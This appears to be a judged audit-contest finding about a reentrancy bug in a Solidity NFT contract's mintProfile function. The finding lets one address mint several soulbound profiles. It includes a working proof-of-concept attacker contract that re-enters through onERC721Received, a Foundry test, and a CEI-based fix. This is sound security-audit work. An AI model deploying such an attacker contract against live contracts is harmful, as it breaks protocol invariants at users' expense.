DatingDapp
First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy attack in `SoulboundProfileNFT::mintProfile`

petrm05

Summary

The function SoulboundProfileNFT::mintProfile is vulnable to reentrancy because the ERC721::_safeMint function is calling IERC721Receiver.onERC721Received if the receiver is a contract. This attack is feasible because the contract is not following the CEI (check-effect-interaction) pattern. This breaks the invariant that an address can only have one profile.

Vulnerability Details

When SoulboundProfileNFT::mintProfile is used, ERC721::_safeMint is called

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
-----> _safeMint(msg.sender, tokenId);
​
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

According to the OpenZeppelin documentation of the _safeMint function

If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.

If to is a contract that implements IERC721Receiver-onERC721Received, it can call again the SoulboundProfileNFT::mintProfilefunction and mint another NFT to itself.

POC

In order to reproduce this issue, add the following test in SoulboundProfileNFTTest

function testReentrancyMintProfile() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(address(soulboundNFT));
attacker.mint();
assertEq(2, soulboundNFT.balanceOf(address(attacker)));
}

The following contract is used to recreate the issue. it gets only 2 soulboundNFTs but with a simple modification it can get many more.

​
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
​
contract ReentrancyAttacker is IERC721Receiver {
SoulboundProfileNFT public soulboundNFT;
bool public reenter;
​
constructor(address nftAddress) {
soulboundNFT = SoulboundProfileNFT(nftAddress);
}
​
function mint() public {
soulboundNFT.mintProfile("Attacker", 25, "ipfs://profileImage");
}
​
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
returns (bytes4)
{
if (!reenter) {
reenter = true;
soulboundNFT.mintProfile("Attacker 2", 25, "ipfs://profileImage");
}
return IERC721Receiver.onERC721Received.selector;
}
}
​
​

Impact

  • Any malicious actor can execute the action

  • If the address get a match, the other user wont know which profile is the correct one. This defeats the purpose of the application

Recommendations

We recommned to follow the CEI pattern and call the _safeMint function after the store effects.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
​
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
​
+ _safeMint(msg.sender, tokenId);
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
​
​
Updates

Appeal created

n0kto Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.